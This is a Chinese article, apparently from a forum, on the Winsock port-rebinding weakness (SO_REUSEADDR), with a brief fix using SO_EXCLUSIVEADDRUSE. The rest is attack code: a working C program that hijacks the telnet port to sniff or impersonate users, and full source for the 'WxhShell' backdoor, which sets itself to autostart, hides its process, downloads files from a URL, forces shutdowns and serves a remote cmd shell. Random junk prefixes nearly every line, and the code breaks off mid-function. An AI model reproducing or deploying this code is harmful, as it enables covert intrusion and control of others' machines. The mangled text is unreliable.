在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
s6@DGSJ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}n>p4W"OM H["`Mn7j2 saddr.sin_family = AF_INET;
MB~=f[cUnd A|<jX} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
C@'h<[v`1v N u<_} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$adbCY\ {y_98N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
)!P)U(*v :qd`zG3 这意味着什么?意味着可以进行如下的攻击:
JPoN&BTCj 5?]hd*8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
T9Nb`sbV] K/|Z$4S 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
A\HxDIU `ojoOB^L 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
u=`L) \nPEyw,U 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~Vr.J}]J J1C3&t}
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
gaZu;t2u -;^j:L{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
)-a'{W/t tp6 3@L|Q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
n(;|q&3 YoBDvV":@ #include
\1^^\G>H5 #include
K<>oa[B9 #include
XovRg, #include
P\1L7%*lU DWORD WINAPI ClientThread(LPVOID lpParam);
nU7>uU int main()
v>Q#B {
i3@)W4{ WORD wVersionRequested;
~a ]+#D DWORD ret;
x|pg"v&[ WSADATA wsaData;
&L'Dqew,* BOOL val;
{xXsBh
Y SOCKADDR_IN saddr;
jIC_[ SOCKADDR_IN scaddr;
%C|n9* int err;
'"SEw
w SOCKET s;
xMTKf+7 SOCKET sc;
>7jbgHB int caddsize;
`p2+&&]S HANDLE mt;
\hDlTp} DWORD tid;
H4:`6 PSL wVersionRequested = MAKEWORD( 2, 2 );
]>=}*= err = WSAStartup( wVersionRequested, &wsaData );
/|C* if ( err != 0 ) {
-zOdU}91Ao printf("error!WSAStartup failed!\n");
l]Ax : Z return -1;
}fb#G<3 }
+BETF;0D saddr.sin_family = AF_INET;
Lr$go6s dfKF%27 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,!#*GZ.ix C~2F9Pg saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
jB%lB1Q| saddr.sin_port = htons(23);
n<O}hM ZT if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2bw_IT {
!dyXJQ printf("error!socket failed!\n");
k_
& :24Lj return -1;
gQ Fjr_IS# }
7%Gwc?[x val = TRUE;
Xg|B \\ //SO_REUSEADDR选项就是可以实现端口重绑定的
J:CXW%\ <q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
K1 EynU
I {
[>8}J" printf("error!setsockopt failed!\n");
T@2#6Tffo return -1;
#`CA8!j!! }
f$e[u
Er //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
7puFz4+f //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ObVGV //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
G_bG We$:&K0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
E ~Sb {
,?8qpEG~#+ ret=GetLastError();
ORe(]I`Z printf("error!bind failed!\n");
/uPcXq:L~ return -1;
?Y-%'J( }
y{ibO}s listen(s,2);
^1iSn)& while(1)
JEXy%hl {
l=S 35og caddsize = sizeof(scaddr);
e6@=wnoX u //接受连接请求
re/@D@% sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
{ C=NUK%? if(sc!=INVALID_SOCKET)
C'\-
@/ {
k1w_[w[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
4|buk]9 if(mt==NULL)
>7lx=T
x {
F
U_jGwD printf("Thread Creat Failed!\n");
`q}I"iS break;
zM bN;tu }
@L<*9sLWh }
7Ri46Tkt CloseHandle(mt);
Xe6w| }
~
{E'@MU closesocket(s);
1O/+8yw WSACleanup();
R;s?$;I return 0;
l~c@^! }
")O%86_Q: DWORD WINAPI ClientThread(LPVOID lpParam)
[Y|8\Ph`& {
~ELNyI11 SOCKET ss = (SOCKET)lpParam;
=XA;[PVx:# SOCKET sc;
UW N*j_9i unsigned char buf[4096];
Oft-w)cYz, SOCKADDR_IN saddr;
-I*^-+>H long num;
H$=e
-L`@ DWORD val;
QLXN*c DWORD ret;
Vq2y4D? //如果是隐藏端口应用的话,可以在此处加一些判断
-~s!73pDY //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Yw4n-0g saddr.sin_family = AF_INET;
$ 7O}S.x saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
t[ubn+ saddr.sin_port = htons(23);
QS%%^+E2 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
HJLu'KY} {
M2PAy! J printf("error!socket failed!\n");
`NCwK6/i return -1;
CJ1 7n }
fsJ9bQm/ val = 100;
U{7w#>V
. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]RPs|R? {
10)jsA ret = GetLastError();
Bp_$.!Qy return -1;
tjIl-IQ }
:o|\"3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\w/yF4,3<w {
`IP/d ret = GetLastError();
.z]Wyx&/U return -1;
+]*zlE\N` }
ozmrw\_}[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
13 =A {
[$qyF|/K`n printf("error!socket connect failed!\n");
v25R_""~ closesocket(sc);
7|{}\w(I closesocket(ss);
;nep5!s;< return -1;
"fG8?)d; }
n!YKz"$ while(1)
!TAlBkj {
f%SZg!+t //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
[b6R% //如果是嗅探内容的话,可以再此处进行内容分析和记录
JLnH&(O //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
{K+icTL3 num = recv(ss,buf,4096,0);
(KFCs^x7wG if(num>0)
%SX|o-B~.o send(sc,buf,num,0);
iX0i2ek else if(num==0)
4lr(,nPRD break;
n"c)m%yZ num = recv(sc,buf,4096,0);
S)cLW~=z if(num>0)
I9/W;#
*~ send(ss,buf,num,0);
?{/4b:ua else if(num==0)
v4u5yy_;( break;
u?4:H=;> }
d:#yEC closesocket(ss);
_2hS";K closesocket(sc);
SG6kud\b return 0 ;
H<VTa? n }
_y),J'W^3u tz5e"+Tz W=j[V
Oq ==========================================================
Cbg!:Cws FKIw!m ~ 下边附上一个代码,,WXhSHELL
ZIf 5*j?E ==========================================================
/I1h2E 0rOfrTNOz% #include "stdafx.h"
)k\H@Dy%$ +1uF !G&l #include <stdio.h>
KV}FZ3jY #include <string.h>
qs1 ?IYD #include <windows.h>
4A8;tU$& #include <winsock2.h>
G'oG</A #include <winsvc.h>
S0B|#O%Z #include <urlmon.h>
% W=b?: `);AW(Q #pragma comment (lib, "Ws2_32.lib")
Xnz3p" #pragma comment (lib, "urlmon.lib")
+b.g$CRr T^Y([23 #define MAX_USER 100 // 最大客户端连接数
[h^2Y&Au5 #define BUF_SOCK 200 // sock buffer
M^O2\G#B #define KEY_BUFF 255 // 输入 buffer
*C5R}9O5 ;1:Js0=;H #define REBOOT 0 // 重启
<D:.(AUeO #define SHUTDOWN 1 // 关机
q|j2MV5#g (a[y1{DLy #define DEF_PORT 5000 // 监听端口
_kj wFq ur3(HL #define REG_LEN 16 // 注册表键长度
[NaN>BZ? #define SVC_LEN 80 // NT服务名长度
!qv ea,vw 7({]x*o*% // 从dll定义API
Hc>m;[M)l typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
gG]Eeu+z
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
H| 8Qp* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
>d,jKlh^.% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
v16JgycM n2]/v{E;/ // wxhshell配置信息
hM;lp1l struct WSCFG {
<QA6/Ef7 int ws_port; // 监听端口
R$q;
! char ws_passstr[REG_LEN]; // 口令
X#*JWQO= int ws_autoins; // 安装标记, 1=yes 0=no
U>cV| char ws_regname[REG_LEN]; // 注册表键名
\!k1a^ZP char ws_svcname[REG_LEN]; // 服务名
N.\-
8?> char ws_svcdisp[SVC_LEN]; // 服务显示名
{>R:vH8 char ws_svcdesc[SVC_LEN]; // 服务描述信息
&X|#R1\ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
e7m*rh%5> int ws_downexe; // 下载执行标记, 1=yes 0=no
JTr vnA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
SSPHhAeH8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
A Y*e@nk\ UaWl6 Y&Vu };
"Q!(52_@J ~Lm$i6E< // default Wxhshell configuration
:<hXH^n struct WSCFG wscfg={DEF_PORT,
F@mQQ "xuhuanlingzhe",
r~/ 1,
rf>0H^r "Wxhshell",
?$*SjZt "Wxhshell",
1Md "WxhShell Service",
^su<uG<R "Wrsky Windows CmdShell Service",
jzDuE{ "Please Input Your Password: ",
d Vj_8> 1,
z2g3FUTX)b "
http://www.wrsky.com/wxhshell.exe",
VKq=7^W "Wxhshell.exe"
:pGaFWkvO };
Ove<mFI\ l|/ep:x8 // 消息定义模块
P!H_1RwXKC char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*1v[kWa? char *msg_ws_prompt="\n\r? for help\n\r#>";
q=%RDG+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
9;r)#3Q[^ char *msg_ws_ext="\n\rExit.";
hEBY8=gK char *msg_ws_end="\n\rQuit.";
]^lw*724'> char *msg_ws_boot="\n\rReboot...";
}% `.h" char *msg_ws_poff="\n\rShutdown...";
#~7ip\Uf[ char *msg_ws_down="\n\rSave to ";
Bwa'`+bC KVn []@# char *msg_ws_err="\n\rErr!";
i+p^ ^t\ char *msg_ws_ok="\n\rOK!";
,cB\ +z9Q-d%O char ExeFile[MAX_PATH];
Q4+gAS9 int nUser = 0;
K
P Oa|$ HANDLE handles[MAX_USER];
g;2?F[8Th int OsIsNt;
l:j4Ft 8 N'^&\@)xiU SERVICE_STATUS serviceStatus;
M}yDXJx SERVICE_STATUS_HANDLE hServiceStatusHandle;
r [4tPk =p*]Az // 函数声明
AS
=?@2 q int Install(void);
^>jwh int Uninstall(void);
&3bx`C int DownloadFile(char *sURL, SOCKET wsh);
jN[`L%Qm int Boot(int flag);
<eQj`HL void HideProc(void);
\Ta"}TF8 int GetOsVer(void);
&Xf^Iu int Wxhshell(SOCKET wsl);
3BtaH#ZY void TalkWithClient(void *cs);
)iYxt:(, int CmdShell(SOCKET sock);
/H8g( int StartFromService(void);
H."EUcE{ int StartWxhshell(LPSTR lpCmdLine);
d-k%{eBV {]:7bV#JP VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
U)E(`{p] VOID WINAPI NTServiceHandler( DWORD fdwControl );
>8k_n GBRa.;Kk // 数据结构和表定义
/atW8 `& SERVICE_TABLE_ENTRY DispatchTable[] =
R)QC)U {
@\f^0^G {wscfg.ws_svcname, NTServiceMain},
:_g$.h%% {NULL, NULL}
H@%GSE };
Uk^B"y_ (C@m Lu) // 自我安装
I@yCTluV$ int Install(void)
K
i'Fn" {
5@+,Xh,H|t char svExeFile[MAX_PATH];
,N!o HKEY key;
2E}*v5b, strcpy(svExeFile,ExeFile);
P_*" dza _V7r1fY: // 如果是win9x系统,修改注册表设为自启动
umt.Um.m2 if(!OsIsNt) {
YVHm{A1b0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FB{KH . RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-OapVa c RegCloseKey(key);
;#vKi0V7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
whi`Z:~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
23Nw!6S RegCloseKey(key);
;\14b?TUH return 0;
LUM@#3& }
|8My42yf }
u~WVGjoQ }
EfCx`3~EX else {
Hn5|B 3vN A
Q'J9 // 如果是NT以上系统,安装为系统服务
(9Ux{@$o[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
_j< K=){ if (schSCManager!=0)
G
8g<>d{j {
l'/R&`-n SC_HANDLE schService = CreateService
;/r1}tl+3> (
xKuRh}^K schSCManager,
8 ~J(](QA wscfg.ws_svcname,
0yuS3VY) wscfg.ws_svcdisp,
{^\+iK4bS SERVICE_ALL_ACCESS,
qI#;j%V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
+trC,D SERVICE_AUTO_START,
+
HK8jCa SERVICE_ERROR_NORMAL,
i36eBjT svExeFile,
SL#0kc0x NULL,
hc>HQrd NULL,
<{V(.=11 NULL,
Mxyb5h NULL,
glM$R &/ NULL
7UVzp v );
s$Z
_48 if (schService!=0)
l49*<nkmq {
.Le?T&_ CloseServiceHandle(schService);
WtG~('g>& CloseServiceHandle(schSCManager);
@+Si?8\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
BJM.iXU)[ strcat(svExeFile,wscfg.ws_svcname);
`*_mP<Ag if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
[lWQ'DZ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
lDYyqG4 RegCloseKey(key);
VF?<{F return 0;
[RLN;(0n }
=5/9%P8j9 }
8<8:+M} CloseServiceHandle(schSCManager);
pTPi@SBaP{ }
lI *o@wQg }
= \'}g? n
`&/D return 1;
==3dEJS }
Tn*9lj4 pWK(z[D // 自我卸载
/&
Jan: int Uninstall(void)
HCyv ]LR {
ts\5uiB<% HKEY key;
MZSy6v \;qW 3~ if(!OsIsNt) {
i;/5Y'KZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xJ>fm%{5 RegDeleteValue(key,wscfg.ws_regname);
u%}nw :> RegCloseKey(key);
e1%/26\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5*l T. RegDeleteValue(key,wscfg.ws_regname);
[N7{WSZ& RegCloseKey(key);
)Im#dVQs= return 0;
bM {s
T" }
0ZZZoPo }
%E#s\B,w }
_ba>19csq% else {
#gz
M| 9$cWU_q{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
/67 h&j if (schSCManager!=0)
g.BdlVB\ {
q"\Z-D0B4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
7gj4j^a^]{ if (schService!=0)
AgS7J(^&3 {
wQ^EYKD if(DeleteService(schService)!=0) {
-:|?h{q?u CloseServiceHandle(schService);
s5CXwM6cx CloseServiceHandle(schSCManager);
C-Q28lD}f return 0;
coW:DFX }
_I@9HC 4 CloseServiceHandle(schService);
Fv~20G(O }
<0b)YJb4M CloseServiceHandle(schSCManager);
Z/k:~%|E }
kW;+|qs^ }
#Y*X<L llcb~ return 1;
?[@J8 }
f .Q\Z'S^ AL9chYP}/ // 从指定url下载文件
n^Hm;BiE# int DownloadFile(char *sURL, SOCKET wsh)
NQBpX {
s}w{:Hk,x8 HRESULT hr;
h2Ld[xvCu% char seps[]= "/";
)J2mM char *token;
gbF+WE char *file;
L2\#w<d char myURL[MAX_PATH];
]V^iN=(_5 char myFILE[MAX_PATH];
Xe$ I7iKD RRmz"j> strcpy(myURL,sURL);
B3We|oe ! token=strtok(myURL,seps);
rDm~h~u5 while(token!=NULL)
1oR7iD^ {
Zq+v6fk_Mn file=token;
>3p\m token=strtok(NULL,seps);
[k.t WA,& }
cpL7!>^= '@o;-'b GetCurrentDirectory(MAX_PATH,myFILE);
]<ldWL strcat(myFILE, "\\");
}AB,8n` strcat(myFILE, file);
4 ezEW|S send(wsh,myFILE,strlen(myFILE),0);
_
TiuY send(wsh,"...",3,0);
] eotc2?u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
VCV"S>aVf if(hr==S_OK)
Q-_N2W? return 0;
l3Xfc2~ 2 else
Sc\*W0m return 1;
u(@$a4z '))0Lh
l }
L-ET<'u kVkU)hqR // 系统电源模块
xN5) int Boot(int flag)
n&$j0k {
6HT;#Znn HANDLE hToken;
.YhA@8nc~l TOKEN_PRIVILEGES tkp;
BF\XEm?! )(bW#- if(OsIsNt) {
h;p>o75O OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
YWe{juXSw LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
mk;&yh tkp.PrivilegeCount = 1;
4w*Skl=F} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
fz|cnU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
[4YTDEv% if(flag==REBOOT) {
XW[j!`nlk if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Nv#t:J9f return 0;
Oxm>c[R }
LhA*F[6$M else {
(up~[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
w mn+ return 0;
%'bM){ }
/a{la8Ni }
* aN else {
,k24w7K%d if(flag==REBOOT) {
YN/|$sMD| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&Y!-%{e return 0;
IdzxS }
v:IpMU-+\ else {
WffQ :L? if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
&-;4.op return 0;
zNs55e.rx }
xcd#& }
K*%9)hq yQU{zY return 1;
.CL[_;} }
QA<
Rhv, Z/W:97M // win9x进程隐藏模块
\K5DOM "# void HideProc(void)
nL5cK: {
CuFSeRe J=\HO8E6> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
5&QJ7B,! if ( hKernel != NULL )
pV9IHs} {
&q3"g*q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'9laa=H%8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Bc(Y(X$PK FreeLibrary(hKernel);
x6Bu F_. }
D[4u+g?[}> r)lEofX,g+ return;
8NxM4$nQX }
TITKj?*o L9r8BK; // 获取操作系统版本
J*r*X. int GetOsVer(void)
-f3p U:G8 {
w{Ivmdto OSVERSIONINFO winfo;
^hG-~z< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
UvJ}b GetVersionEx(&winfo);
@'w"R/,n-@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:G [|CPm- return 1;
QqDC4+p" else
VyXKZ%\dQ/ return 0;
_G[g;$< }
&:;:"{t}Do ~FZ&.<s
// 客户端句柄模块
xu>9(,l int Wxhshell(SOCKET wsl)
V_R@o3kv; {
xR-%L SOCKET wsh;
F0pir(n- struct sockaddr_in client;
hcgMZT!<5 DWORD myID;
9%k2'iV7 zpzK>DH( while(nUser<MAX_USER)
Cl5uS%g {
zvvhFN2s int nSize=sizeof(client);
o15-ZzE- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
"~#3&3HVS if(wsh==INVALID_SOCKET) return 1;
N,`$M.|? ,KF'TsFf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#pT"BSz] if(handles[nUser]==0)
Vrjc~>X closesocket(wsh);
*U^6u/iH else
viW!,QQ(S nUser++;
({
8-* }
Ar%%}Gx/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'vVQg `n.5f[wC return 0;
%oF}HF. }
$I!XSz"/e _ q(ko/T // 关闭 socket
j:^#rFD4? void CloseIt(SOCKET wsh)
9`T)@Uj2n {
bbtGXfI+SB closesocket(wsh);
18)'c?^. nUser--;
3]OE}[R ExitThread(0);
o~U$GBg }
H7?Vy bg~ ++bf#qS<8D // 客户端请求句柄
v6[!o<@"a void TalkWithClient(void *cs)
c%^7!FSg {
8{|8G-Mi 0Be<X SOCKET wsh=(SOCKET)cs;
)s)I2Z+ char pwd[SVC_LEN];
4qphA9i1 char cmd[KEY_BUFF];
h(<,fg1 char chr[1];
/vY(o1o
x int i,j;
_- [''(E o906/5M while (nUser < MAX_USER) {
qPWP&k }HL]yDO if(wscfg.ws_passstr) {
9"@\s$
OBk if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
6}Vf\j~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9
3U_tQ&1? //ZeroMemory(pwd,KEY_BUFF);
nxY\|@ i=0;
u9:`4b while(i<SVC_LEN) {
BIb4h
$Ad{Z // 设置超时
Eav[/cU fd_set FdRead;
2`AY~i9 struct timeval TimeOut;
ucuSe!IcX FD_ZERO(&FdRead);
:lX!\(E2 FD_SET(wsh,&FdRead);
H;D>|q TimeOut.tv_sec=8;
Qwz}B TimeOut.tv_usec=0;
v&Ii^?CvO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
_U$<xVnP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
efSM`!%j NO2XA\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
w4_ U0
n3 pwd
=chr[0]; x[4`fM.m*
if(chr[0]==0xd || chr[0]==0xa) { O ~(pg
pwd=0; !ds"9w
break; 5(Cl1Yse=r
} JHW"-b
i++; D_?K"E=fw
} MV!{j;g1<
VGLaN%|
// 如果是非法用户,关闭 socket Hh%I0#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Jx_cf9{
} 9lTv
,K>I%_!1
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [M?}uK ^
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zqd@EF6/bz
LU+3{O5y
while(1) { ,V'o4]H
,4hJT
ZeroMemory(cmd,KEY_BUFF); he#J|p
H12Fw'2
// 自动支持客户端 telnet标准 h-g+g#*
j=0; ke{8 ^X~#
while(j<KEY_BUFF) {
7;u
e
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4)E_0.C
cmd[j]=chr[0]; #w;v0&p
if(chr[0]==0xa || chr[0]==0xd) { rI{=WPI&WU
cmd[j]=0; "B8Q:
break; Tb A}BFT`
} $JS L-NkE
j++; qsL)}sC^8
} PEN\-*Pv
D>|H 2
// 下载文件 E"\/M
if(strstr(cmd,"http://")) { ~Xr=4V:a+
send(wsh,msg_ws_down,strlen(msg_ws_down),0); zFfoqb#*g
if(DownloadFile(cmd,wsh)) R= a|Blp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); liEPCWl&
else &vHoRY
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w|3z;-#Q;
} L%">iQOG#
else { P<oehw'>
$r@
=*(
switch(cmd[0]) { R[Ll59-
:#2Bw]z&z
// 帮助 eeIhed9
case '?': { /{|EAd{
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 832v"kCD
break; ,/[6e\0~
} rMXN[,|v
// 安装 6Vww;1J
case 'i': { ;sfb 4x4
if(Install()) Ok{*fa.PK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $J4 *U
else IOTR/anu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I6~pV@h^=
break; 2<li7c59
} @HT% n
// 卸载 4B=2>k
case 'r': { sfLMkE
if(Uninstall()) 4f@o mAM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^<;V]cY`
else ,_|]Ufr!a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hp8%.V$f
break; b`L%t:u{d
} Cv
}Qwy
// 显示 wxhshell 所在路径 "~`I::'c
case 'p': { Z.d7U~_
char svExeFile[MAX_PATH]; ekI2icD
strcpy(svExeFile,"\n\r"); A2^\q>_#
strcat(svExeFile,ExeFile); jATI&oX
send(wsh,svExeFile,strlen(svExeFile),0); cbeLu'DWB.
break; 5>VY LI
} dG@"!!,
// 重启 `{,Dy!rL
case 'b': { @|LBn6q
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *Kyw^DI
if(Boot(REBOOT)) f5F@^QXQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F1 iGMf-8
else { 8iW;y2qF
closesocket(wsh); -r#X~2tPzD
ExitThread(0); whonDG4WP
} @vpf[j
break; HfcL%b%G8
} _C.BFE_p
// 关机 ^Y<|F!0
case 'd': { FSU ttg"
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qs|mj}?
if(Boot(SHUTDOWN)) qL5{f(U4<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jm|+-F@I
else { wg ^sGKN
closesocket(wsh); b'P eH\h{
ExitThread(0); x? ?pBhJH
} ]DZE%
break; {)DHH:n
} 6Z#\CixG
// 获取shell $f,n8]
case 's': { MWI4Y@1bS
CmdShell(wsh); PpV'F[|,r
closesocket(wsh); nM\eDNK
ExitThread(0); 9 Yx]=n
break; ;WgJ<&33
} 0~HKiH-
// 退出 KQcs3F@t
case 'x': { lAzjN~V
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zR
`EU,
CloseIt(wsh); ~)qtply
break; !l_lo`)
} 1J6,]M
// 离开 "oWwc
zzO
case 'q': { tyfTU5"x
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1mfs4
closesocket(wsh); {*[\'!d--.
WSACleanup(); 994`ua+
exit(1); %Rz&lh/
break; 9m|kgY# 4
} p`nPhk,:b
} ;2@BO-3K
} +zu(
m~@;~7I x
// 提示信息 V?Z.\~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OS4q5;1#
} #
S}Z8
} [~kdPk
e?`5>& Up
return; N-jTc?mT~&
} "8~:[G#
Glxuz0]
// shell模块句柄 =1O<E
int CmdShell(SOCKET sock) O$D'.t
{ zS\E/.X2
STARTUPINFO si; k=4N(i/s
ZeroMemory(&si,sizeof(si)); \ {qI4=
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xfy1pS.[:
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a^Tmu
PROCESS_INFORMATION ProcessInfo; |fxA|/s[<
char cmdline[]="cmd"; 0q.Ujm=,z
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vohoLeJTj
return 0; SfJA(v@E
} N>Eqj>G
*?y+e
// 自身启动模式 /EibEd\
int StartFromService(void) smdZxFl
{ N B\{'
typedef struct tniDF>Rb
{ lZyG)0t,g
DWORD ExitStatus; E Q4KV
DWORD PebBaseAddress; &LF`
W
DWORD AffinityMask; #O$
